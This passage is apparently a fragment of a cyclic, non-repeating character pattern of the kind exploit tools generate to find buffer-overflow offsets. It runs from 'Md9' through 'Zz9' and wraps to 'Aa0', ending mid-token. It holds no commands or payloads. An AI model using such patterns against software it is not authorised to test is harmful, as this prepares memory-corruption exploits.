d9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2Mv3Mv4Mv5Mv6Mv7Mv8Mv9Mw0Mw1Mw2Mw3Mw4Mw5Mw6Mw7Mw8Mw9Mx0Mx1Mx2Mx3Mx4Mx5Mx6Mx7Mx8Mx9My0My1My2My3My4My5My6My7My8My9Mz0Mz1Mz2Mz3Mz4Mz5Mz6Mz7Mz8Mz9Na0Na1Na2Na3Na4Na5Na6Na7Na8Na9Nb0Nb1Nb2Nb3Nb4Nb5Nb6Nb7Nb8Nb9Nc0Nc1Nc2Nc3Nc4Nc5Nc6Nc7Nc8Nc9Nd0Nd1Nd2Nd3Nd4Nd5Nd6Nd7Nd8Nd9Ne0Ne1Ne2Ne3Ne4Ne5Ne6Ne7Ne8Ne9Nf0Nf1Nf2Nf3Nf4Nf5Nf6Nf7Nf8Nf9Ng0Ng1Ng2Ng3Ng4Ng5Ng6Ng7Ng8Ng9Nh0Nh1Nh2Nh3Nh4Nh5Nh6Nh7Nh8Nh9Ni0Ni1Ni2Ni3Ni4Ni5Ni6Ni7Ni8Ni9Nj0Nj1Nj2Nj3Nj4Nj5Nj6Nj7Nj8Nj9Nk0Nk1Nk2Nk3Nk4Nk5Nk6Nk7Nk8Nk9Nl0Nl1Nl2Nl3Nl4Nl5Nl6Nl7Nl8Nl9Nm0Nm1Nm2Nm3Nm4Nm5Nm6Nm7Nm8Nm9Nn0Nn1Nn2Nn3Nn4Nn5Nn6Nn7Nn8Nn9No0No1No2No3No4No5No6No7No8No9Np0Np1Np2Np3Np4Np5Np6Np7Np8Np9Nq0Nq1Nq2Nq3Nq4Nq5Nq6Nq7Nq8Nq9Nr0Nr1Nr2Nr3Nr4Nr5Nr6Nr7Nr8Nr9Ns0Ns1Ns2Ns3Ns4Ns5Ns6Ns7Ns8Ns9Nt0Nt1Nt2Nt3Nt4Nt5Nt6Nt7Nt8Nt9Nu0Nu1Nu2Nu3Nu4Nu5Nu6Nu7Nu8Nu9Nv0Nv1Nv2Nv3Nv4Nv5Nv6Nv7Nv8Nv9Nw0Nw1Nw2Nw3Nw4Nw5Nw6Nw7Nw8Nw9Nx0Nx1Nx2Nx3Nx4Nx5Nx6Nx7Nx8Nx9Ny0Ny1Ny2Ny3Ny4Ny5Ny6Ny7Ny8Ny9Nz0Nz1Nz2Nz3Nz4Nz5Nz6Nz7Nz8Nz9Oa0Oa1Oa2Oa3Oa4Oa5Oa6Oa7Oa8Oa9Ob0Ob1Ob2Ob3Ob4Ob5Ob6Ob7Ob8Ob9Oc0Oc1Oc2Oc3Oc4Oc5Oc6Oc7Oc8Oc9Od0Od1Od2Od3Od4Od5Od6Od7Od8Od9Oe0Oe1Oe2Oe3Oe4Oe5Oe6Oe7Oe8Oe9Of0Of1Of2Of3Of4Of5Of6Of7Of8Of9Og0Og1Og2Og3Og4Og5Og6Og7Og8Og9Oh0Oh1Oh2Oh3Oh4Oh5Oh6Oh7Oh8Oh9Oi0Oi1Oi2Oi3Oi4Oi5Oi6Oi7Oi8Oi9Oj0Oj1Oj2Oj3Oj4Oj5Oj6Oj7Oj8Oj9Ok0Ok1Ok2Ok3Ok4Ok5Ok6Ok7Ok8Ok9Ol0Ol1Ol2Ol3Ol4Ol5Ol6Ol7Ol8Ol9Om0Om1Om2Om3Om4Om5Om6Om7Om8Om9On0On1On2On3On4On5On6On7On8On9Oo0Oo1Oo2Oo3Oo4Oo5Oo6Oo7Oo8Oo9Op0Op1Op2Op3Op4Op5Op6Op7Op8Op9Oq0Oq1Oq2Oq3Oq4Oq5Oq6Oq7Oq8Oq9Or0Or1Or2Or3Or4Or5Or6Or7Or8Or9Os0Os1Os2Os3Os4Os5Os6Os7Os8Os9Ot0Ot1Ot2Ot3Ot4Ot5Ot6Ot7Ot8Ot9Ou0Ou1Ou2Ou3Ou4Ou5Ou6Ou7Ou8Ou9Ov0Ov1Ov2Ov3Ov4Ov5Ov6Ov7Ov8Ov9Ow0Ow1Ow2Ow3Ow4Ow5Ow6Ow7Ow8Ow9Ox0Ox1Ox2Ox3Ox4Ox5Ox6Ox7Ox8Ox9Oy0Oy1Oy2Oy3Oy4Oy5Oy6Oy7Oy8Oy9Oz0Oz1Oz2Oz3Oz4Oz5Oz6Oz7Oz8Oz9Pa0Pa1Pa2Pa3Pa4Pa5Pa6Pa7Pa8Pa9Pb0Pb1Pb2Pb3Pb4Pb5Pb6Pb7Pb8Pb9Pc0Pc1Pc2Pc3Pc4Pc5Pc6Pc7Pc8Pc9Pd0Pd1Pd2Pd3Pd4Pd5Pd6Pd7Pd8Pd9Pe0Pe1Pe2Pe3Pe4Pe5Pe6Pe7Pe8Pe9Pf0Pf1Pf2Pf3Pf4Pf5Pf6Pf7Pf8Pf9Pg0Pg1Pg2Pg3Pg4Pg5Pg6Pg7Pg8Pg9Ph0Ph1Ph2Ph3Ph4Ph5Ph6Ph7Ph8Ph9Pi0Pi1Pi2Pi3Pi4Pi5Pi6Pi7Pi8Pi9Pj0Pj1Pj2Pj3Pj4Pj5Pj6Pj7Pj8Pj9Pk0Pk1Pk2Pk3Pk4Pk5Pk6Pk7Pk8Pk9Pl0Pl1Pl2Pl3Pl4Pl5Pl6Pl7Pl8Pl9Pm0Pm1Pm2Pm3Pm4Pm5Pm6Pm7Pm8Pm9Pn0Pn1Pn2Pn3Pn4Pn5Pn6Pn7Pn8Pn9Po0Po1Po2Po3Po4Po5Po6Po7Po8Po9Pp0Pp1Pp2Pp3Pp4Pp5Pp6Pp7Pp8Pp9Pq0Pq1Pq2Pq3Pq4Pq5Pq6Pq7Pq8Pq9Pr0Pr1Pr2Pr3Pr4Pr5Pr6Pr7Pr8Pr9Ps0Ps1Ps2Ps3Ps4Ps5Ps6Ps7Ps8Ps9Pt0Pt1Pt2Pt3Pt4Pt5Pt6Pt7Pt8Pt9Pu0Pu1Pu2Pu3Pu4Pu5Pu6Pu7Pu8Pu9Pv0Pv1Pv2Pv3Pv4Pv5Pv6Pv7Pv8Pv9Pw0Pw1Pw2Pw3Pw4Pw5Pw6Pw7Pw8Pw9Px0Px1Px2Px3Px4Px5Px6Px7Px8Px9Py0Py1Py2Py3Py4Py5Py6Py7Py8Py9Pz0Pz1Pz2Pz3Pz4Pz5Pz6Pz7Pz8Pz9Qa0Qa1Qa2Qa3Qa4Qa5Qa6Qa7Qa8Qa9Qb0Qb1Qb2Qb3Qb4Qb5Qb6Qb7Qb8Qb9Qc0Qc1Qc2Qc3Qc4Qc5Qc6Qc7Qc8Qc9Qd0Qd1Qd2Qd3Qd4Qd5Qd6Qd7Qd8Qd9Qe0Qe1Qe2Qe3Qe4Qe5Qe6Qe7Qe8Qe9Qf0Qf1Qf2Qf3Qf4Qf5Qf6Qf7Qf8Qf9Qg0Qg1Qg2Qg3Qg4Qg5Qg6Qg7Qg8Qg9Qh0Qh1Qh2Qh3Qh4Qh5Qh6Qh7Qh8Qh9Qi0Qi1Qi2Qi3Qi4Qi5Qi6Qi7Qi8Qi9Qj0Qj1Qj2Qj3Qj4Qj5Qj6Qj7Qj8Qj9Qk0Qk1Qk2Qk3Qk4Qk5Qk6Qk7Qk8Qk9Ql0Ql1Ql2Ql3Ql4Ql5Ql6Ql7Ql8Ql9Qm0Qm1Qm2Qm3Qm4Qm5Qm6Qm7Qm8Qm9Qn0Qn1Qn2Qn3Qn4Qn5Qn6Qn7Qn8Qn9Qo0Qo1Qo2Qo3Qo4Qo5Qo6Qo7Qo8Qo9Qp0Qp1Qp2Qp3Qp4Qp5Qp6Qp7Qp8Qp9Qq0Qq1Qq2Qq3Qq4Qq5Qq6Qq7Qq8Qq9Qr0Qr1Qr2Qr3Qr4Qr5Qr6Qr7Qr8Qr9Qs0Qs1Qs2Qs3Qs4Qs5Qs6Qs7Qs8Qs9Qt0Qt1Qt2Qt3Qt4Qt5Qt6Qt7Qt8Qt9Qu0Qu1Qu2Qu3Qu4Qu5Qu6Qu7Qu8Qu9Qv0Qv1Qv2Qv3Qv4Qv5Qv6Qv7Qv8Qv9Qw0Qw1Qw2Qw3Qw4Qw5Qw6Qw7Qw8Qw9Qx0Qx1Qx2Qx3Qx4Qx5Qx6Qx7Qx8Qx9Qy0Qy1Qy2Qy3Qy4Qy5Qy6Qy7Qy8Qy9Qz0Qz1Qz2Qz3Qz4Qz5Qz6Qz7Qz8Qz9Ra0Ra1Ra2Ra3Ra4Ra5Ra6Ra7Ra8Ra9Rb0Rb1Rb2Rb3Rb4Rb5Rb6Rb7Rb8Rb9Rc0Rc1Rc2Rc3Rc4Rc5Rc6Rc7Rc8Rc9Rd0Rd1Rd2Rd3Rd4Rd5Rd6Rd7Rd8Rd9Re0Re1Re2Re3Re4Re5Re6Re7Re8Re9Rf0Rf1Rf2Rf3Rf4Rf5Rf6Rf7Rf8Rf9Rg0Rg1Rg2Rg3Rg4Rg5Rg6Rg7Rg8Rg9Rh0Rh1Rh2Rh3Rh4Rh5Rh6Rh7Rh8Rh9Ri0Ri1Ri2Ri3Ri4Ri5Ri6Ri7Ri8Ri9Rj0Rj1Rj2Rj3Rj4Rj5Rj6Rj7Rj8Rj9Rk0Rk1Rk2Rk3Rk4Rk5Rk6Rk7Rk8Rk9Rl0Rl1Rl2Rl3Rl4Rl5Rl6Rl7Rl8Rl9Rm0Rm1Rm2Rm3Rm4Rm5Rm6Rm7Rm8Rm9Rn0Rn1Rn2Rn3Rn4Rn5Rn6Rn7Rn8Rn9Ro0Ro1Ro2Ro3Ro4Ro5Ro6Ro7Ro8Ro9Rp0Rp1Rp2Rp3Rp4Rp5Rp6Rp7Rp8Rp9Rq0Rq1Rq2Rq3Rq4Rq5Rq6Rq7Rq8Rq9Rr0Rr1Rr2Rr3Rr4Rr5Rr6Rr7Rr8Rr9Rs0Rs1Rs2Rs3Rs4Rs5Rs6Rs7Rs8Rs9Rt0Rt1Rt2Rt3Rt4Rt5Rt6Rt7Rt8Rt9Ru0Ru1Ru2Ru3Ru4Ru5Ru6Ru7Ru8Ru9Rv0Rv1Rv2Rv3Rv4Rv5Rv6Rv7Rv8Rv9Rw0Rw1Rw2Rw3Rw4Rw5Rw6Rw7Rw8Rw9Rx0Rx1Rx2Rx3Rx4Rx5Rx6Rx7Rx8Rx9Ry0Ry1Ry2Ry3Ry4Ry5Ry6Ry7Ry8Ry9Rz0Rz1Rz2Rz3Rz4Rz5Rz6Rz7Rz8Rz9Sa0Sa1Sa2Sa3Sa4Sa5Sa6Sa7Sa8Sa9Sb0Sb1Sb2Sb3Sb4Sb5Sb6Sb7Sb8Sb9Sc0Sc1Sc2Sc3Sc4Sc5Sc6Sc7Sc8Sc9Sd0Sd1Sd2Sd3Sd4Sd5Sd6Sd7Sd8Sd9Se0Se1Se2Se3Se4Se5Se6Se7Se8Se9Sf0Sf1Sf2Sf3Sf4Sf5Sf6Sf7Sf8Sf9Sg0Sg1Sg2Sg3Sg4Sg5Sg6Sg7Sg8Sg9Sh0Sh1Sh2Sh3Sh4Sh5Sh6Sh7Sh8Sh9Si0Si1Si2Si3Si4Si5Si6Si7Si8Si9Sj0Sj1Sj2Sj3Sj4Sj5Sj6Sj7Sj8Sj9Sk0Sk1Sk2Sk3Sk4Sk5Sk6Sk7Sk8Sk9Sl0Sl1Sl2Sl3Sl4Sl5Sl6Sl7Sl8Sl9Sm0Sm1Sm2Sm3Sm4Sm5Sm6Sm7Sm8Sm9Sn0Sn1Sn2Sn3Sn4Sn5Sn6Sn7Sn8Sn9So0So1So2So3So4So5So6So7So8So9Sp0Sp1Sp2Sp3Sp4Sp5Sp6Sp7Sp8Sp9Sq0Sq1Sq2Sq3Sq4Sq5Sq6Sq7Sq8Sq9Sr0Sr1Sr2Sr3Sr4Sr5Sr6Sr7Sr8Sr9Ss0Ss1Ss2Ss3Ss4Ss5Ss6Ss7Ss8Ss9St0St1St2St3St4St5St6St7St8St9Su0Su1Su2Su3Su4Su5Su6Su7Su8Su9Sv0Sv1Sv2Sv3Sv4Sv5Sv6Sv7Sv8Sv9Sw0Sw1Sw2Sw3Sw4Sw5Sw6Sw7Sw8Sw9Sx0Sx1Sx2Sx3Sx4Sx5Sx6Sx7Sx8Sx9Sy0Sy1Sy2Sy3Sy4Sy5Sy6Sy7Sy8Sy9Sz0Sz1Sz2Sz3Sz4Sz5Sz6Sz7Sz8Sz9Ta0Ta1Ta2Ta3Ta4Ta5Ta6Ta7Ta8Ta9Tb0Tb1Tb2Tb3Tb4Tb5Tb6Tb7Tb8Tb9Tc0Tc1Tc2Tc3Tc4Tc5Tc6Tc7Tc8Tc9Td0Td1Td2Td3Td4Td5Td6Td7Td8Td9Te0Te1Te2Te3Te4Te5Te6Te7Te8Te9Tf0Tf1Tf2Tf3Tf4Tf5Tf6Tf7Tf8Tf9Tg0Tg1Tg2Tg3Tg4Tg5Tg6Tg7Tg8Tg9Th0Th1Th2Th3Th4Th5Th6Th7Th8Th9Ti0Ti1Ti2Ti3Ti4Ti5Ti6Ti7Ti8Ti9Tj0Tj1Tj2Tj3Tj4Tj5Tj6Tj7Tj8Tj9Tk0Tk1Tk2Tk3Tk4Tk5Tk6Tk7Tk8Tk9Tl0Tl1Tl2Tl3Tl4Tl5Tl6Tl7Tl8Tl9Tm0Tm1Tm2Tm3Tm4Tm5Tm6Tm7Tm8Tm9Tn0Tn1Tn2Tn3Tn4Tn5Tn6Tn7Tn8Tn9To0To1To2To3To4To5To6To7To8To9Tp0Tp1Tp2Tp3Tp4Tp5Tp6Tp7Tp8Tp9Tq0Tq1Tq2Tq3Tq4Tq5Tq6Tq7Tq8Tq9Tr0Tr1Tr2Tr3Tr4Tr5Tr6Tr7Tr8Tr9Ts0Ts1Ts2Ts3Ts4Ts5Ts6Ts7Ts8Ts9Tt0Tt1Tt2Tt3Tt4Tt5Tt6Tt7Tt8Tt9Tu0Tu1Tu2Tu3Tu4Tu5Tu6Tu7Tu8Tu9Tv0Tv1Tv2Tv3Tv4Tv5Tv6Tv7Tv8Tv9Tw0Tw1Tw2Tw3Tw4Tw5Tw6Tw7Tw8Tw9Tx0Tx1Tx2Tx3Tx4Tx5Tx6Tx7Tx8Tx9Ty0Ty1Ty2Ty3Ty4Ty5Ty6Ty7Ty8Ty9Tz0Tz1Tz2Tz3Tz4Tz5Tz6Tz7Tz8Tz9Ua0Ua1Ua2Ua3Ua4Ua5Ua6Ua7Ua8Ua9Ub0Ub1Ub2Ub3Ub4Ub5Ub6Ub7Ub8Ub9Uc0Uc1Uc2Uc3Uc4Uc5Uc6Uc7Uc8Uc9Ud0Ud1Ud2Ud3Ud4Ud5Ud6Ud7Ud8Ud9Ue0Ue1Ue2Ue3Ue4Ue5Ue6Ue7Ue8Ue9Uf0Uf1Uf2Uf3Uf4Uf5Uf6Uf7Uf8Uf9Ug0Ug1Ug2Ug3Ug4Ug5Ug6Ug7Ug8Ug9Uh0Uh1Uh2Uh3Uh4Uh5Uh6Uh7Uh8Uh9Ui0Ui1Ui2Ui3Ui4Ui5Ui6Ui7Ui8Ui9Uj0Uj1Uj2Uj3Uj4Uj5Uj6Uj7Uj8Uj9Uk0Uk1Uk2Uk3Uk4Uk5Uk6Uk7Uk8Uk9Ul0Ul1Ul2Ul3Ul4Ul5Ul6Ul7Ul8Ul9Um0Um1Um2Um3Um4Um5Um6Um7Um8Um9Un0Un1Un2Un3Un4Un5Un6Un7Un8Un9Uo0Uo1Uo2Uo3Uo4Uo5Uo6Uo7Uo8Uo9Up0Up1Up2Up3Up4Up5Up6Up7Up8Up9Uq0Uq1Uq2Uq3Uq4Uq5Uq6Uq7Uq8Uq9Ur0Ur1Ur2Ur3Ur4Ur5Ur6Ur7Ur8Ur9Us0Us1Us2Us3Us4Us5Us6Us7Us8Us9Ut0Ut1Ut2Ut3Ut4Ut5Ut6Ut7Ut8Ut9Uu0Uu1Uu2Uu3Uu4Uu5Uu6Uu7Uu8Uu9Uv0Uv1Uv2Uv3Uv4Uv5Uv6Uv7Uv8Uv9Uw0Uw1Uw2Uw3Uw4Uw5Uw6Uw7Uw8Uw9Ux0Ux1Ux2Ux3Ux4Ux5Ux6Ux7Ux8Ux9Uy0Uy1Uy2Uy3Uy4Uy5Uy6Uy7Uy8Uy9Uz0Uz1Uz2Uz3Uz4Uz5Uz6Uz7Uz8Uz9Va0Va1Va2Va3Va4Va5Va6Va7Va8Va9Vb0Vb1Vb2Vb3Vb4Vb5Vb6Vb7Vb8Vb9Vc0Vc1Vc2Vc3Vc4Vc5Vc6Vc7Vc8Vc9Vd0Vd1Vd2Vd3Vd4Vd5Vd6Vd7Vd8Vd9Ve0Ve1Ve2Ve3Ve4Ve5Ve6Ve7Ve8Ve9Vf0Vf1Vf2Vf3Vf4Vf5Vf6Vf7Vf8Vf9Vg0Vg1Vg2Vg3Vg4Vg5Vg6Vg7Vg8Vg9Vh0Vh1Vh2Vh3Vh4Vh5Vh6Vh7Vh8Vh9Vi0Vi1Vi2Vi3Vi4Vi5Vi6Vi7Vi8Vi9Vj0Vj1Vj2Vj3Vj4Vj5Vj6Vj7Vj8Vj9Vk0Vk1Vk2Vk3Vk4Vk5Vk6Vk7Vk8Vk9Vl0Vl1Vl2Vl3Vl4Vl5Vl6Vl7Vl8Vl9Vm0Vm1Vm2Vm3Vm4Vm5Vm6Vm7Vm8Vm9Vn0Vn1Vn2Vn3Vn4Vn5Vn6Vn7Vn8Vn9Vo0Vo1Vo2Vo3Vo4Vo5Vo6Vo7Vo8Vo9Vp0Vp1Vp2Vp3Vp4Vp5Vp6Vp7Vp8Vp9Vq0Vq1Vq2Vq3Vq4Vq5Vq6Vq7Vq8Vq9Vr0Vr1Vr2Vr3Vr4Vr5Vr6Vr7Vr8Vr9Vs0Vs1Vs2Vs3Vs4Vs5Vs6Vs7Vs8Vs9Vt0Vt1Vt2Vt3Vt4Vt5Vt6Vt7Vt8Vt9Vu0Vu1Vu2Vu3Vu4Vu5Vu6Vu7Vu8Vu9Vv0Vv1Vv2Vv3Vv4Vv5Vv6Vv7Vv8Vv9Vw0Vw1Vw2Vw3Vw4Vw5Vw6Vw7Vw8Vw9Vx0Vx1Vx2Vx3Vx4Vx5Vx6Vx7Vx8Vx9Vy0Vy1Vy2Vy3Vy4Vy5Vy6Vy7Vy8Vy9Vz0Vz1Vz2Vz3Vz4Vz5Vz6Vz7Vz8Vz9Wa0Wa1Wa2Wa3Wa4Wa5Wa6Wa7Wa8Wa9Wb0Wb1Wb2Wb3Wb4Wb5Wb6Wb7Wb8Wb9Wc0Wc1Wc2Wc3Wc4Wc5Wc6Wc7Wc8Wc9Wd0Wd1Wd2Wd3Wd4Wd5Wd6Wd7Wd8Wd9We0We1We2We3We4We5We6We7We8We9Wf0Wf1Wf2Wf3Wf4Wf5Wf6Wf7Wf8Wf9Wg0Wg1Wg2Wg3Wg4Wg5Wg6Wg7Wg8Wg9Wh0Wh1Wh2Wh3Wh4Wh5Wh6Wh7Wh8Wh9Wi0Wi1Wi2Wi3Wi4Wi5Wi6Wi7Wi8Wi9Wj0Wj1Wj2Wj3Wj4Wj5Wj6Wj7Wj8Wj9Wk0Wk1Wk2Wk3Wk4Wk5Wk6Wk7Wk8Wk9Wl0Wl1Wl2Wl3Wl4Wl5Wl6Wl7Wl8Wl9Wm0Wm1Wm2Wm3Wm4Wm5Wm6Wm7Wm8Wm9Wn0Wn1Wn2Wn3Wn4Wn5Wn6Wn7Wn8Wn9Wo0Wo1Wo2Wo3Wo4Wo5Wo6Wo7Wo8Wo9Wp0Wp1Wp2Wp3Wp4Wp5Wp6Wp7Wp8Wp9Wq0Wq1Wq2Wq3Wq4Wq5Wq6Wq7Wq8Wq9Wr0Wr1Wr2Wr3Wr4Wr5Wr6Wr7Wr8Wr9Ws0Ws1Ws2Ws3Ws4Ws5Ws6Ws7Ws8Ws9Wt0Wt1Wt2Wt3Wt4Wt5Wt6Wt7Wt8Wt9Wu0Wu1Wu2Wu3Wu4Wu5Wu6Wu7Wu8Wu9Wv0Wv1Wv2Wv3Wv4Wv5Wv6Wv7Wv8Wv9Ww0Ww1Ww2Ww3Ww4Ww5Ww6Ww7Ww8Ww9Wx0Wx1Wx2Wx3Wx4Wx5Wx6Wx7Wx8Wx9Wy0Wy1Wy2Wy3Wy4Wy5Wy6Wy7Wy8Wy9Wz0Wz1Wz2Wz3Wz4Wz5Wz6Wz7Wz8Wz9Xa0Xa1Xa2Xa3Xa4Xa5Xa6Xa7Xa8Xa9Xb0Xb1Xb2Xb3Xb4Xb5Xb6Xb7Xb8Xb9Xc0Xc1Xc2Xc3Xc4Xc5Xc6Xc7Xc8Xc9Xd0Xd1Xd2Xd3Xd4Xd5Xd6Xd7Xd8Xd9Xe0Xe1Xe2Xe3Xe4Xe5Xe6Xe7Xe8Xe9Xf0Xf1Xf2Xf3Xf4Xf5Xf6Xf7Xf8Xf9Xg0Xg1Xg2Xg3Xg4Xg5Xg6Xg7Xg8Xg9Xh0Xh1Xh2Xh3Xh4Xh5Xh6Xh7Xh8Xh9Xi0Xi1Xi2Xi3Xi4Xi5Xi6Xi7Xi8Xi9Xj0Xj1Xj2Xj3Xj4Xj5Xj6Xj7Xj8Xj9Xk0Xk1Xk2Xk3Xk4Xk5Xk6Xk7Xk8Xk9Xl0Xl1Xl2Xl3Xl4Xl5Xl6Xl7Xl8Xl9Xm0Xm1Xm2Xm3Xm4Xm5Xm6Xm7Xm8Xm9Xn0Xn1Xn2Xn3Xn4Xn5Xn6Xn7Xn8Xn9Xo0Xo1Xo2Xo3Xo4Xo5Xo6Xo7Xo8Xo9Xp0Xp1Xp2Xp3Xp4Xp5Xp6Xp7Xp8Xp9Xq0Xq1Xq2Xq3Xq4Xq5Xq6Xq7Xq8Xq9Xr0Xr1Xr2Xr3Xr4Xr5Xr6Xr7Xr8Xr9Xs0Xs1Xs2Xs3Xs4Xs5Xs6Xs7Xs8Xs9Xt0Xt1Xt2Xt3Xt4Xt5Xt6Xt7Xt8Xt9Xu0Xu1Xu2Xu3Xu4Xu5Xu6Xu7Xu8Xu9Xv0Xv1Xv2Xv3Xv4Xv5Xv6Xv7Xv8Xv9Xw0Xw1Xw2Xw3Xw4Xw5Xw6Xw7Xw8Xw9Xx0Xx1Xx2Xx3Xx4Xx5Xx6Xx7Xx8Xx9Xy0Xy1Xy2Xy3Xy4Xy5Xy6Xy7Xy8Xy9Xz0Xz1Xz2Xz3Xz4Xz5Xz6Xz7Xz8Xz9Ya0Ya1Ya2Ya3Ya4Ya5Ya6Ya7Ya8Ya9Yb0Yb1Yb2Yb3Yb4Yb5Yb6Yb7Yb8Yb9Yc0Yc1Yc2Yc3Yc4Yc5Yc6Yc7Yc8Yc9Yd0Yd1Yd2Yd3Yd4Yd5Yd6Yd7Yd8Yd9Ye0Ye1Ye2Ye3Ye4Ye5Ye6Ye7Ye8Ye9Yf0Yf1Yf2Yf3Yf4Yf5Yf6Yf7Yf8Yf9Yg0Yg1Yg2Yg3Yg4Yg5Yg6Yg7Yg8Yg9Yh0Yh1Yh2Yh3Yh4Yh5Yh6Yh7Yh8Yh9Yi0Yi1Yi2Yi3Yi4Yi5Yi6Yi7Yi8Yi9Yj0Yj1Yj2Yj3Yj4Yj5Yj6Yj7Yj8Yj9Yk0Yk1Yk2Yk3Yk4Yk5Yk6Yk7Yk8Yk9Yl0Yl1Yl2Yl3Yl4Yl5Yl6Yl7Yl8Yl9Ym0Ym1Ym2Ym3Ym4Ym5Ym6Ym7Ym8Ym9Yn0Yn1Yn2Yn3Yn4Yn5Yn6Yn7Yn8Yn9Yo0Yo1Yo2Yo3Yo4Yo5Yo6Yo7Yo8Yo9Yp0Yp1Yp2Yp3Yp4Yp5Yp6Yp7Yp8Yp9Yq0Yq1Yq2Yq3Yq4Yq5Yq6Yq7Yq8Yq9Yr0Yr1Yr2Yr3Yr4Yr5Yr6Yr7Yr8Yr9Ys0Ys1Ys2Ys3Ys4Ys5Ys6Ys7Ys8Ys9Yt0Yt1Yt2Yt3Yt4Yt5Yt6Yt7Yt8Yt9Yu0Yu1Yu2Yu3Yu4Yu5Yu6Yu7Yu8Yu9Yv0Yv1Yv2Yv3Yv4Yv5Yv6Yv7Yv8Yv9Yw0Yw1Yw2Yw3Yw4Yw5Yw6Yw7Yw8Yw9Yx0Yx1Yx2Yx3Yx4Yx5Yx6Yx7Yx8Yx9Yy0Yy1Yy2Yy3Yy4Yy5Yy6Yy7Yy8Yy9Yz0Yz1Yz2Yz3Yz4Yz5Yz6Yz7Yz8Yz9Za0Za1Za2Za3Za4Za5Za6Za7Za8Za9Zb0Zb1Zb2Zb3Zb4Zb5Zb6Zb7Zb8Zb9Zc0Zc1Zc2Zc3Zc4Zc5Zc6Zc7Zc8Zc9Zd0Zd1Zd2Zd3Zd4Zd5Zd6Zd7Zd8Zd9Ze0Ze1Ze2Ze3Ze4Ze5Ze6Ze7Ze8Ze9Zf0Zf1Zf2Zf3Zf4Zf5Zf6Zf7Zf8Zf9Zg0Zg1Zg2Zg3Zg4Zg5Zg6Zg7Zg8Zg9Zh0Zh1Zh2Zh3Zh4Zh5Zh6Zh7Zh8Zh9Zi0Zi1Zi2Zi3Zi4Zi5Zi6Zi7Zi8Zi9Zj0Zj1Zj2Zj3Zj4Zj5Zj6Zj7Zj8Zj9Zk0Zk1Zk2Zk3Zk4Zk5Zk6Zk7Zk8Zk9Zl0Zl1Zl2Zl3Zl4Zl5Zl6Zl7Zl8Zl9Zm0Zm1Zm2Zm3Zm4Zm5Zm6Zm7Zm8Zm9Zn0Zn1Zn2Zn3Zn4Zn5Zn6Zn7Zn8Zn9Zo0Zo1Zo2Zo3Zo4Zo5Zo6Zo7Zo8Zo9Zp0Zp1Zp2Zp3Zp4Zp5Zp6Zp7Zp8Zp9Zq0Zq1Zq2Zq3Zq4Zq5Zq6Zq7Zq8Zq9Zr0Zr1Zr2Zr3Zr4Zr5Zr6Zr7Zr8Zr9Zs0Zs1Zs2Zs3Zs4Zs5Zs6Zs7Zs8Zs9Zt0Zt1Zt2Zt3Zt4Zt5Zt6Zt7Zt8Zt9Zu0Zu1Zu2Zu3Zu4Zu5Zu6Zu7Zu8Zu9Zv0Zv1Zv2Zv3Zv4Zv5Zv6Zv7Zv8Zv9Zw0Zw1Zw2Zw3Zw4Zw5Zw6Zw7Zw8Zw9Zx0Zx1Zx2Zx3Zx4Zx5Zx6Zx7Zx8Zx9Zy0Zy1Zy2Zy3Zy4Zy5Zy6Zy7Zy8Zy9Zz0Zz1Zz2Zz3Zz4Zz5Zz6Zz7Zz8Zz9Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8B